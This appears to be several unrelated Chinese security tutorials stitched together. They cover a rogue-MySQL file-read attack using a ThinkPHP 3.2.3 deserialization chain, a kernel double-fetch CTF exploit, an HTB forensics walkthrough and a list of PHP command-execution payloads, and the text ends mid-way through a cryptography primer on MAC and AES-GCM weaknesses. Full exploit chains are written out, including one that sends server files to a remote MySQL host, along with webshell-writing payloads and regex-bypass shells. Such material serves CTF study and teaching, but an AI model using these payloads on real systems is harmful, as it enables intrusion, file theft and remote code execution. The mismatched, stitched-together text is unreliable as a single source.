浅析MySQL恶意服务器读取文件原理
前言
注:本文不涉及对MySQL协议报文研究,仅讲解原理,并且做部分演示。
搭建MySQL恶意服务器读取文件这件事,虽然直接利用门槛较高,但是由于在网上看到了一种比较新颖的利用方式(利用社会工程学引诱用户连接MySQL进而读取用户文件),个人觉得比较有意思,总结了一下攻击原理以及攻击方式,因此就有了这篇文章。
原理
在阐述具体原理之前,先介绍几个SQL语句,以便后文理解
首先在tmp目录下新建一个tmp.txt
内容如下:
然后执行下方SQL语句,即可将tmp.txt文件导入其中
mysql> load data local infile "/tmp/tmp.txt" into table test fields terminated by '\n';
Query OK, 3 rows affected (2.63 sec)
Records: 3 Deleted: 0 Skipped: 0 Warnings: 0
mysql> select * from Test;
+-------+
| name |
+-------+
| admin |
| user |
| Lxxx |
+-------+
3 rows in set (0.00 sec)
load data local infile语句会读取客户端本地的文件
load data infile语句会读取服务端本地的文件
terminated by表示以某某字符分割,默认为Tab,这里我设置为了\n
这个时候可能就会绕不清楚,什么是服务端,什么是客户端?
因为一般情况下,调试SQL都是在本机,并且数据库也在本机,这样的情况就导致,客户端和服务端都是在本地,有点难区分,下面我用一张图来简述。
在本地,由于客户端和服务端都是在同一个磁盘下,因此,在本地,无论是否加local都是可以将文件传入数据库的,而后面讲到利用MySQL恶意服务器读取文件的漏洞,就是需要使用local,来达到将文件带出的目的。
下面我画了两张图,第一张图是正常业务流程,第二张图是攻击者恶意攻击的流程
正常的后端业务流程如下:
当攻击者劫持后端服务器,并且在公网中搭建恶意的MySQL后,流程图如下:
这样攻击者就可以在后端达到任意文件下载的目的。
演示
虽说在之前的某个CTF比赛出过类似的题目,但是我这里还是使用ThinkPHP3.2.3存在的反序列化漏洞,结合MySQL恶意服务器读取敏感文件,进而RCE的样例。
首先在本地先启动一个ThinkPHP3.2.3的框架,连接好数据库,在Application/Home/Controller/HelloController.class.php控制器中写一个反序列化入口
<?php
namespace Home\Controller;
use Think\Controller;
class HelloController extends Controller
{
public function index($Lxxx){
echo base64_decode($Lxxx);
$a = unserialize(base64_decode($Lxxx));
}
}
具体的链子,我就不跟了,网上也有很多,虽然链子具体的方法不跟进,但是我还是需要介绍一下这条链子能起到一个什么作用。
首先需要一个反序列化入口,这是毋庸置疑的,没有反序列化入口,那就无法进行反序列化,所以上方我就在HelloController控制器中自己写了一个反序列化入口
这条链子最终的链尾是需要数据库的相关信息,例如数据库名,数据库端口,数据库用户以及密码,并且这条链子是允许使用堆叠注入的,因此如果知道数据库相关信息,那么就可以利用堆叠注入写入一句话木马进而getshell
这里我就直接将链子放出来,然后演示一下如何搭建一个恶意的MySQL数据库,获取敏感文件,进而getshell
<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => 1,
"database" => "tp323",
"hostname" => "127.0.0.1",
"hostport" => "8889",
"charset" => "utf8",
"username" => "root",
"password" => "root"
);
}
}
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "tp_user where 1=updatexml(1,concat(0x7e,version(),0x7e),1)#",
"where" => "1=1"
);
}
}
}
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}
上方链子中的数据库信息为我本地的数据库信息,执行该文件后,得到序列化字符串如下:
TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAq
传给url
可以看到报错注入成功
然后,在公网上搭建一个恶意的MySQL服务,这个脚本在Github中已经有前辈写好了,具体原理就是分析相关的MySQL报文,然后与后端服务器创建恶意连接,并且获得自己想要的文件,这里贴出几个连接,有些项目可能在新的MySQL版本中无法使用。
https://github.com/Gifts/Rogue-MySql-Server
https://github.com/allyshka/Rogue-MySql-Server
https://github.com/jas502n/CVE-2019-12086-jackson-databind-file-read
下载好POC之后,修改一下要读取的文件名
然后利用Python启动,启动完成后,恶意的MySQL就在监听3307端口
python rogue_mysql_server.py
接下来修改之前的链子,把IP和端口修改为远程恶意的MySQL地址,然后生成链子
<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => 1,
"database" => "tp323",
"hostname" => "1.1.1.1",
"hostport" => "3307",
"charset" => "utf8",
"username" => "root",
"password" => "root"
);
}
}
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "tp_user where 1=updatexml(1,concat(0x7e,version(),0x7e),1)#",
"where" => "1=1"
);
}
}
}
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}
得到:
TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAq
传给HomeController控制器
然后就可以在远程VPS中的mysql.log得到之前需要恶意下载的文件
现在得到了相关数据库信息,然后就可以再次构造链子,利用堆叠注入写入一句话木马getshell了
使用场景
能劫持后端服务器,但无法getshell的时候,可以采用这个方法getshell(例如ThinkPHP3.2.3的利用链只能到数据库层,则可以通过这个方法getshell)
能引诱用户连接恶意MySQL(社会工程学)
参考资料
http://blog.nsfocus.net/malicious-mysql-server-reads-mysql-client-files/
https://www.modb.pro/db/51823
https://cloud.tencent.com/developer/article/1818089
https://github.com/Gifts/Rogue-MySql-Server
https://github.com/allyshka/Rogue-MySql-Server
https://github.com/jas502n/CVE-2019-12086-jackson-databind-file-read
Kernel Pwn基础教程之 Double Fetch
一、前言
Double Fetch是一种条件竞争类型的漏洞,其主要形成的原因是由于用户态与内核态之间的数据在进行交互时存在时间差,我们在先前的学习中有了解到内核在从用户态中获取数据时会使用函数copy_from_user,而如果要拷贝的数据过于复杂的话则内核会选择引用其指针而将数据暂存于用户态中等待后续处理,而在这时数据会存在被条件竞争修改原有数据的风险,也就是笔者要分享的Double Fetch的由来。
二、Double Fetch介绍
如下图所示,用户态首先准备好用户态数据(prepare data),然后执行syscall进入内核态后,会对用户态数据进行第一次fetch,这一次fetch主要是做一些检测工作(如缓冲区大小、指针是否可用等),在检查通过后会执行第二次fetch对数据进行实际操作。而在这期间是存在一定的时间差,如果我们在用户态数据通过第一次check以后创建一个恶意进程利用二次fetch之间的时间差修改掉原先用户态的数据,那么在内核执行第二次fetch时处理的就并非原先通过检测的数据,而是我们精心准备的恶意数据,而此类漏洞往往会引起访问越界,缓冲区溢出最终造成恶意提权的情况。
三、Double Fetch例题
1、题目分析
本次选择的例题是0ctf-final-baby,用IDA打开baby.ko进行逆向分析。驱动主要注册了baby_ioctl函数,当第二个参数为0x6666时会使用printk函数输出flag值在,可以通过dmesg命令查看printk函数的输出结果。
不难看出flag是硬编码在驱动文件中,可以看到flag的长度为33位。
.data:0000000000000480 flag dq offset aFlagThisWillBe
.data:0000000000000480 ; DATA XREF: sub_25+25↑r
.data:0000000000000480 ; sub_25+D6↑r ...
.data:0000000000000480 ; "flag{THIS_WILL_BE_YOUR_FLAG_1234}"
当第二个参数为0x1337时通过三次检测则会对传入的内容与flag进行比较,如果相同就通过printk函数输出flag值。其中在三次检测中使用到_chk_range_not_ok函数,前两个参数不难理解,但是第三个参数在这里比较难理解。
bool __fastcall _chk_range_not_ok(__int64 contect, __int64 len, unsigned __int64 unknow)
{
bool my_cf; // cf
unsigned __int64 sum; // rdi
my_cf = __CFADD__(len, contect);
sum = len + contect;
return my_cf || unknow < sum;
}
我们通过动态调试的方式定位在_chk_range_not_ok函数处,发现current_task+0x1358的结果就是0x7ffffffffffff000,也就是说这三次check的意思分别是:
1、判断结构体的指针是否在用户态
2、判断结构体中flag地址指针是否在用户态
3、判断结构体中flag长度是否与内核flag长度相同
通过这三个检测之后就会比对传入结构体中flag值与内核的flag值是否相同,全部正确就会通过printk输出内核中的flag值。
for ( i = 0; i < strlen(flag); ++i )
{
if ( contect->addr[i] != flag[i] )
return 0x16LL;
}
printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
return 0LL;
2、漏洞利用
通过分析题目其实没有十分明显的漏洞点,但是如果我们以条件竞争的思路来看待这道题就会发现隐藏的漏洞点。如果我们首先在用户态创建一个可以通过三次检测的结构体指针(User_Data),那么在这个数据在真正被处理之前是存在一定的时间差的,并且因为数据是保存在用户态中,所以当我们开启一个恶意进程不断修改用户态中flag地址为内核态的地址,那么在实际处理数据时取出的就是内核地址,最终判断的时候就是内核地址与内核地址的比较,最终输出flag值并用dmesg命令查看输出结果。
3、EXP
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
int finish = 1;
struct message {
char *addr;
int len;
}data;
size_t flag_address = 0;
void read_flag_address() {
system("dmesg | grep flag > message.txt");
int fd = open("message.txt", O_RDWR);
char buf[0x60] = {0};
read(fd, buf, sizeof(buf));
size_t idx = strstr(buf, "at ") + 3;
sscanf(idx, "%llx", &flag_address);
printf("[+] FIND FLAG ADDRESS: 0x%llx\n", flag_address);
close(fd);
}
void evil_thread() {
while (finish == 1) {
data.addr = flag_address;
}
}
void main() {
pthread_t pthread;
int fd = open("/dev/baby", O_RDWR);
char buf[0x100] = {0};
ioctl(fd, 0x6666);
read_flag_address();
pthread_create(&pthread, NULL, evil_thread, NULL);
data.addr = buf;
data.len = 33;
for (int i = 0; i < 0x1000; i++) {
ioctl(fd, 0x1337, &data);
data.addr = buf;
}
finish = 0;
pthread_join(pthread, NULL);
system("dmesg | grep flag");
close(fd);
}
使用如下命令编译elf文件,重新打包文件系统后执行start.sh,最终效果如下。
gcc -pthread -g -static -masm=intel -o exp exp.c
四、总结
Double Fetch 最为主要的就是培养以线程间条件竞争的角度来看待程序,从而发现一些比较隐蔽的漏洞。关于本次介绍的例题还有一种非预期的解法,可以通过在用户态使用mmap的方式开辟两块内存地址,第一块设置读写权限,第二块设置不可读写权限,我们将需要比较的字节放在第一块内存的最后一个字节中,当我们的判断正确时就会继续往下取值,这时就会从第二块即不可读写的内存中取值,就会造成kernel panic,这时我们就可以判断字符判断成功。感兴趣的师傅们可以自己尝试实现一下。
HTB-蓝队入门(上)
前言
HTB是大三时期一直想氪的一个平台,比较适合做一个方向上的深入学习。可惜大学生太穷了,只能工作后找个小伙伴AA,勉强付起这个昂贵的VIP。蓝队系列是我第一个开始学习(复习)的模块,需要好好记录下~也给想练HTB,但英语不好的同学一点帮助。
Chase-easy
简介:One of our web servers triggered an AV alert, but none of the sysadmins say they were logged onto it. We've taken a network capture before shutting the server down to take a clone of the disk. Can you take a look at the PCAP and see if anything is up?
大概翻译就是:我们的一台web服务器触发了AV警告,但没有一个管理员表示他们曾经登陆过。在关闭服务器以克隆磁盘之前,我们已经进行了网络捕获。让我看看PCAP的数据包,究竟被黑客打到了什么程度。
题目是给到的一个数据包,不得不吐槽的就是找了半天密码,原来就写我脸上了。。
压缩包解压之后是一个PCAP的文件,拿到包前先statistics-》Capture File Properties看下数据包大小、截取时间、操作系统等等基本信息,如果单纯是CTF的话帮助或许不大,但是在蓝军视角,获取更多的数据会更有助于我们定位问题。
数据包基本上是22.22.22.7与22.22.22.5通信,且量不大,很容易看到5号机器通过一个HTTP GET请求获取7号机器上的nc64.exe。
作为一个完整的攻击事件来说,这个显然不是入口。作为一般的应急响应事件来说,捕获到攻击情报的时候,很有可能已经达到内网,所以很有可能七号机器在此之前已经沦陷了,我们只能通过反推的方式去一层层的寻找最初的脆弱点(此题7号机不需要我们做溯源)。尝试筛选一下HTTP的请求,使用follow对HTTP流进行追踪。
很清晰的还原出7号机器通过5号机器的一个上传点,实现了文件上传漏洞,上传后的文件为/cmd.aspx,并且通过远程命令执行的方式,从7号机器获取nc64.exe,进而执行持久化控制。
从上面对5号机器进行的命令执行中,可以看到到反弹shell的端口在七号机的4444端口,所以我们可以通过tcp.port == 4444的方式,查看七号机器远程执行了什么命令。
前面“象征性”执行了whoami、ipconfig,到这步又从7号机拉取了一个名字很长的文件,感觉很可疑,就看一下吧,这里用过滤字符串的功能进行查看,提示“Hey there”,应该是Flag无误了。
Event Horizon
简介:Our CEO's computer was compromised in a phishing attack. The attackers took care to clear the PowerShell logs, so we don't know what they executed. Can you help us?
大致翻译:我们CEO的电脑在一次网络钓鱼中被攻击。攻击者小心地清理PowerShell日志,所以我们不知道他们执行了什么。大佬帮帮我们。
考点在于日志分析,题目给到的日志文件就高达323个
这里用的日志分析工具是Event Log Explorer,图形界面看起来非常的清晰。日志分析中排查优先级最高的,不出意外应该是powershell,但Windows Powershell的日志已经被攻击者删掉了。排序了下文件大小,发现还有个"Microsoft-Windows-PowerShell%4Operational",该日志会记录攻击者执行的Powershell命令都记录下来,把该日志放到工具里进行查看,在执行的第一个脚本注释处找到flag。
关于PowerShell5.0新功能的更多描述可以看这里:https://docs.microsoft.com/zh-tw/powershell/scripting/windows-powershell/whats-new/what-s-new-in-windows-powershell-50?view=powershell-7.2
Export
简介:We spotted a suspicious connection to one of our servers, and immediately took a memory dump. Can you figure out what the attackers were up to?
大概翻译:我们发现一个可疑的连接在我们的服务器上,并且很快进行内存存储,你能发现攻击者在干嘛吗?
题目是给的一个Raw文件,众所周知常见的内存文件格式有dmp、raw、img等等,既然跟内存文件有关就离不开做内存取证。这里推荐一个开源的内存取证框架 https://github.com/volatilityfoundation/volatility,以及对新手非常友好的autovolatility:https://github.com/carlospolop/autoVolatility 前者可以对数十个接口进行内存取证,后者可以批量将所有的接口进行取证并输出文件到本地。
跑完上述命令,可以获取到进程列表、事件日志、设备树、剪贴板内容、命令行等等信息
题目提到可疑链接,第一反应就是去看cmdline和cmdscan,前者显示进程的命令行参数,后者显示命令行的历史记录。在cmdscan文件里找到攻击者曾经执行过的一段Powershell无文件落地攻击
链接过一下URL的解码,ps1文件的名称感觉有点像flag了,再过一下Base64解密拿到flag。
Insider
简介:A potential insider threat has been reported, and we need to find out what they accessed. Can you help?
大概翻译:一个潜在的威胁被爆出,我们需要知道他们访问了什么,你能帮忙吗?
给到的是客户端上火狐浏览器的一些文件,尝试查一下如何读取火狐浏览器配置文件,寄了。。全网无资料。国外的师傅提到了一款工具 firefox_decrypt ,地址:https://github.com/unode/firefox_decrypt 。可以从Mozilla配置文件中提取密码,这种方法倒是很适合红队的同学在拿到靶标后使用,后面就是抄作业的过程:
好了作业抄完,再回顾下firefox_decrypt工具大概的实现原理,我们的用户记住密码后,数据一般都是放在本地,如果没有主密码的保护,这些密码应该是可以暴露出来的,所以firefox_decrypt就是对没有正确配置的本地密码进行读取(没理解错的话)。
Intel
简介:It seems a huge trove of credit card details is being sold by a group going by the name flinchsec. Can you find any sites or artefacts associated with this group that we can use to detect them?
大概翻译:看起来有一个叫 flinchsec的团伙正在售卖大量的信用卡详细信息,你能找到任何与这个团队关联的网站或文件,以至于我们可以使用来检测他们吗?
一道社工类型的题目。给的信息不多,我们只知道团队名叫flinchsec,谷歌搜索一下,在领英找到了这个团队
但是点击公司网站,返回了500,说明网站已经下掉了。但是如果我还想看到的话怎么办呢,想到了类似于网页快照之类的应用,百度查了一下有相关的实现:Wayback machine。并且在页面上看到有一个github的链接
到Releases下载文件后,strings命令看下程序里有没有flag的明文字符,结果失败了。后面看了大佬发的WP,竟然要用VT去查,脑洞太大了。。。
实验推荐
实验:内存镜像取证 https://www.yijinglab.com/expc.do?ec=ECID6a2f-ed6f-4f85-9363-731535a5c3c4>>
PHP命令执行集锦
前言
代码审计总要遇到命令执行或者说RCE,打CTF的过程中难免不会碰见,毕竟PHP是世界上最好的语言,总结一下
命令执行函数
E.g.1
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[c]";
$b = "$_GET[d]";
$array[0] =$b;
$c = array_map($a,$array);
?>
传入参数c和d,array_map函数作用将$a作为函数,$array作为参数,构造paylaod
?c=assert&d=system(%27ls%27);
E.g.2
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[b]";
$b = create_function('',$a);
$b();
?>
create_function 函数会创建一个匿名函数(lambda样式),在第一个echo中显示出名字,并在第二个echo语句中执行了此函数。
$b = create_function('',$a);
这里$a为函数,' '为参数
那么可以看作为
function lambda(){
• echo ' ' ;
}
传入payload
b= ;}phpinfo();/*
在function函数中即
function lambda(){
echo ' ' ;}phpinfo();/*
}
后面的内容注释掉了,即执行命令
E.g.3
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[d]";
$b='print'.$a.';';
$f = create_function('$a',$b);
$f($a)
跟上面一样,虽然有一点变形,但是再$b的打印上没有特殊之处,所以payload:
d=1;}system(%27ls%27);/*
一致。
E.g.4
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[b]";
assert($a);
?>
没什么特别之处,assert直接作为函数执行,payload:
?b=system(%27ls;%27)
E.g.5
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[b]";
$b = "$_GET[c]";
call_user_func($a,$b);
?>
call_user_func()函数的特点,知道后面的后面的$b为参数,前面的$a为函数即可
payload:
?b=system&c=whoami
E.g.6
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[b]";
$b = array($_GET['c']);
call_user_func_array($a,$b);
?>
payload:
?b=assert&c=system(%27whoami%27);
E.g.7
<?php
error_reporting(0);
show_source(__FILE__);
$_GET['a']($_GET['b']);
?>
传入参数a和b,一个作为函数执行,一个做位参数,构造payload:
?a=assert&b=system(%27ls%27)
E.g.8
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[b]";
eval($a);
?>
一句话木马有没有很熟悉,直接get方式传参给b即可,payload:
?b=system("ls");
E.g.9
<?php
show_source(__FILE__);
echo "<br>";
echo '请输入一个a的值';
echo "<br>";
error_reporting(0);
$price = $_GET['a'];
$code = 'echo $name. '.'的美元价格是' .$price.'; ';
$b = create_function('$name',$code);
$b('iphone');
?>
基本上属于3的内容加强版,重点就是需要进行闭合,,代码变多了,payload没有出入,重点还是再$code的位置
payload:
?a=1;}system(%27ls%27);/*
E.g.10
<?php
show_source(__FILE__);
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$database = array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . '"] , $b["' . $sort_by . '"]);';
usort($database,create_function('$a,$b',$sort_function));
?>
属于加强版本,$sort_function的内容进行闭合,也就是sort_by的参数值要实现闭合,构造payload:
?sort_by=%27"]);}system(%27whoami%27);/*
E.g.11
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[c]";
$b = preg_replace("/abc/e",$a,'abcd');
var_dump($b);
?>
虽然加了正则,但是并没有什么卵用,假把式,payload:
?c=system(%27ls%27);
E.g.12
<?php
show_source(__FILE__);
$commandExecution = "echo ";
echo "<br>";
system($commandExecution.$_GET['a']);
echo "<br>";
?>
payload
?a=<\?php\%20\@eval($_POST[a])\;%20\?>%20>2.php
一句话木马写入2.php
也有其它解法直接进行命令执行。
E.g.13
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[c]";
echo "<br>";
exec($a,$b);
var_dump($b);
?
exec()函数直接执行命令,那么payload
?c=whoami
E.g.14
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[c]";
echo shell_exec($a);
?
函数的特性shell_exec
?c=ls>2.txt
然后执行
?c=cat 2.txt
此时
E.g.15
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[c]";
echo "<br>";
echo `$a`;
?>
看到echo以及传入的字符串,方法类似于上面的一道
?c=cat%20flag.php>3.txt
直接访问3.txt即可,或者
?c=cat%203.txt
E.g.16
<?php
error_reporting(0);
show_source(__FILE__);
$a = "$_GET[c]";
passthru($a);
?>
payload:
?c=cat%20flag.php
E.g.17
<?php
error_reporting(0);
show_source(__FILE__);
$cmd=$_GET['c'];
$fd = popen($cmd, 'r');
while($s=fgets($fd)){
print_r($s);
}
?>
payload
?c=cat%20flag.php
E.g.18
<?php
error_reporting(0);
show_source(__FILE__);
$command=$_GET['c'];
$descriptorspec=array(
0=>array('pipe','r'),
1=>array('pipe','w'),
2=>array('pipe','w')
);
$handle=proc_open($command,$descriptorspec,$pipes,NULL);
if(!is_resource($handle)){
die('proc_open failed');
}
while($s=fgets($pipes[1])){
print_r($s);
}
while($s=fgets($pipes[2])){
print_r($s);
}
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($handle);
?>
payload
?c=cat%20flag.php
E.g.19 无字母shell
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){ //检测字符长度
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){ //限制字母和数字
die("NO.");
}
@eval($code); //$code的值要为非字母和数字
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
绕过正则,传入的参数中不能含有大小写字母以及数字,使用异或的当时绕过正则即可
<?phpvar_dump('#'^'|'); var_dump('.'^'~');var_dump('/'^''); var_dump('|'^'/'); var_dump('{'^'/'); $__=("#"^"|").("."^"~").("/"^"").("|"^"/").("{"^"/");//变量$_值为字符串'POST'?>
no.flag中提示了flag在getflag()方法中,那么自然需要构造payload去调用getflag()方法,需要参数长度小于40且绕过正则,那么可以设想一下
function getflag(){
xxxxxxxxxxxxxxxx
}
@eval($code);
函数的调用就是类似于上面的过程,那么eval在执行的过程中$code并不能直接执行,参考上面的题7那么我传入的code的参数的形式为$_GET[]且需要调用getFlag()方法,因为考虑到需要无字母,所以结合异或,那么payload就是下面的内容:
?code=${"{{{"^"?<>/"}[""^"?"]();&_=getFlag
或者
?code=$="`{{{"^"?<>/";${$}$%7B$_%7D%5B__%5D;&_=getFlag
这里
//_GET 的变形无字母shell
$_="`{{{"^"?<>/";
小结
大佬请绕路,如有错误欢迎师傅们指出。
实验推荐
实验:PHP命令注入攻击 https://www.yijinglab.com/expc.do?ce=c9246cb4-e33e-4528-84d5-b7636ea753c1>>
密码学的安全性浅析3
前言
本文是本系列的第三篇,由于侧重点是对密码学中的安全性问题进行分析,所以不会对密码学基础的核心概念进行阐述,如果阅读本系列文章时不明白所涉及的术语时请参考国内大学的推荐教材,如《密码学原理与实践》《深入浅出密码学》,如果只是感兴趣而并非要深入了解,只阅读《图解密码技术》也就够了。
MAC
MAC是指消息认证码(带密钥的Hash函数),是密码学中通信实体双方使用的一种验证机制,保证消息数据完整性的一种工具。构造方法由M.Bellare提出,安全性依赖于Hash函数,故也称带密钥的Hash函数。消息认证码是基于密钥和消息摘要所获得的一个值,可用于数据源发送方认证和完整性校验。MAC一般不会从头设计,而是从已有的哈希函数改造而来,比如加前缀、后缀或其他方法。
加前缀
加前缀时,返回的是Hash(K||M),从而将普通的哈希函数转为带密钥的哈希函数,其容易受到长度扩展攻击、碰撞攻击。
长度扩展攻击
长度扩展攻击我们之前已经提过,在这种攻击场景下,攻击者可以在不知道M1和K的基础上,仅通过Hash(K||M1)就可以计算出Hash(K||M1||M2),相当于攻击者可以伪造有效的MAC标签。
碰撞攻击
此处的碰撞攻击是由于密钥长度不同导致的。如果密钥K1是24比特的16进制字符串abcdef,消息M1是12,则返回的是Hash(abcded12),如果密钥K2是abcd,消息M2是ef12,则返回的也是Hash(abcded12),这就发生了碰撞
加后缀
加后缀的方法返回的是Hash(M||K),此时可以抵御长度扩展攻击,但是还是会存在碰撞的问题。
设有两个消息M1,M2,存在碰撞Hash(M1)=Hash(M2),比如在SHA-256中,此时就会存在Hash(M1||K)=Hash(M2||K)
换言之,攻击者通过如下流程即可发动攻击:
1.找到两个碰撞的消息M1,M2
2.请求受害者计算M1哈希的MAC标签Hash(M1||K)
3.猜测相同的Hash(M2||K),从而伪造一个有效的标签并破坏MAC的安全性
HMAC
HMAC,即散列消息认证码(Hash-based message authentication code),是一种通过特别计算方式之后产生的消息认证码(MAC),使用密码散列函数,同时结合一个加密密钥。它可以用来保证资料的完整性,同时可以用来作某个消息的身份验证。
HMAC从哈希函数构造MAC,这比前面两种方案都安全,IPSec,SSH,TLS等都使用了HMAC
CMAC
CMAC,Cipher-based Message Authentication Code,它是一种基于分组密码的消息认证码算法是基于密码的MAC,只提供一个分组密码如AES,就可以构造MAC。
CBC-MAC是最早的CMAC,其用CBC模式对全0初始值IV下的消息M进行加密,并只保留最后一组密文作为消息M的标签.基本的计算过程就是分别计算C1=E(K,M1),C2=E(K,M2⊗C1),C3=E(K,M3⊗C2)...对M的每个分组只保留最后的Ci,这就是经过CBC-MAC的M的标签。
其容易被攻击者构造出新的消息-标签对。攻击流程如下
设存在两个不同的消息M1,M2,对应的标签分别为T1=E(K,M1),T2=E(K,M2),攻击者由此可以构造出新的消息-标签对,即消息M1||(M2⊗T1)的标签为T2,推导过程如下:
要对M1||(M2⊗T1)生成标签,则先要计算C1=E(K,M1)=T1,然后计算C2=E(K,(M2⊗T1)⊗T1))=E(K,M2)=T2
由此,攻击者就从两个消息-标签对,且不知道密钥的情况下构造出了新的消息-标签对,这意味着攻击者可以伪造CBC-MAC的标签,所以CBC-MAC并不安全
AE
AE,Authenticated encryption,即认证加密,这既能实现消息的保密,又能保护消息的真实性,即实现认证。所以一个AE算法既有密码算法的特性又有MAC的特性。要实现AE,如下图所示有三种方式:
同时加密和MAC(Encrypt-and-MAC,E&M)
发送方:给定明文P,计算得到密文C=E(K1,P),同时计算得到认证标签T=MAC(K2,P),发送C,T
接收方:计算P=D(K1,C)得到P,然后用这个P计算MAC(K2,P),将结果与收到的T比较。如果C或T损坏,认证都会失败。
这个方案理论上是最不安全的。即使用的是安全的MAC,也有可能从中泄露明文P的信息,因为MAC仅用于确保不可伪造,不能确保随机。除非用的MAC非常强大,比如伪随机函数等。
SSH使用的就是这种方案,其用的MAC是HMAC-SHA-256,保证了不会泄露P的信息
先MAC再加密(MAC-then-Encrypt,MtE)
发送方:首先计算T=MAC(K2,P)来保护消息P,然后加密得到C=E(K1,P||T),这里将明文和标签一起加密,得到密文。发送方发送C
接收方:解密C,即P||T=D(K1,C)得到P||T,然后通过得到的明文P计算标签MAC(K2,P),并与得到的T比较,如果符合,则认证成功。
这种方式隐藏了明文的认证标签,从而防止标签泄露明文中的认证信息。
在TLS1.3之前,都是使用该方案。
先加密再MAC(Encrypt-then-MAC,EtM)
发送方:首先加密得到密文C=E(K1,P),然后计算认证标签T=MAC(K2,C),将其发送
接收方:使用MAC(K2,C)计算结果与收到的T比较,若相符,则再计算P=D(K1,C),得到明文。
这个方案的优势在于:1.接收方只需要计算MAC就可知道信息是否损坏,如果损坏就不需要进一步解密了;2.对于攻击者而言,除非能破解MAC,否则不能同时将C和T发送给接收方获得解密结果,这使得攻击者更难向接收方发送恶意数据
所以这种方案是三者之间最安全的,IPSec使用了方案
AES-GCM
除了如上三种,组成起来实现,也有专门的认证加密算法,其可以表示为
加密:AE(K,P)=(C,T),K是密钥,P是明文,C是密文,T是身份认证标签
解密:AD(K,C,T)=P,如果C,T至少有一个无效,则AD会返回错误,而如果返回明文,则可以确保这个明文是被用正确密钥加密过的明文。
从认证角度看,其功能与MAC一样,这意味着想要伪造AD能接收并解密的密文和标记对(C,T)是不可能的
从加密角度看,认证加密比普通密码算法更安全,因为它只有在标签有效的情况下才会用密钥进行解密。这可以防止选择密文攻击。
认证加密算法中目前唯一被承认的正式标准就是AES-GCM,其基于AES算法,采用Galois计数器模式(GCM)实施。其示意图如下
GCM本质上是对CTR模式的改进,集成了一个小组件计算身份认证标签,其示意如下
AES-GCM容易受到攻击,包括nonce重放攻击以及由弱哈希密钥、短标签等引发的攻击。
nonce重放攻击
这是AES-GCM最大的漏洞。如果用户在两次AES-GCM中使用相同的nonce N,攻击者就可以获得身份认证密钥H,继而可以使用H为任何密文、关联数据伪造标签。
其基本代数结构如下
标签T通过下式计算得到:
上式中的GHASH是一个通用哈希函数,其输入输出线性相关
此时如果有用相同nonce计算得到的两个标签T1,T2,将其异或可以得到
可以看到,此时AES的部分就消去了
然后利用GHASH的线性特性,攻击者就可以确定H,从而拿到身份认证密钥
弱哈希密钥
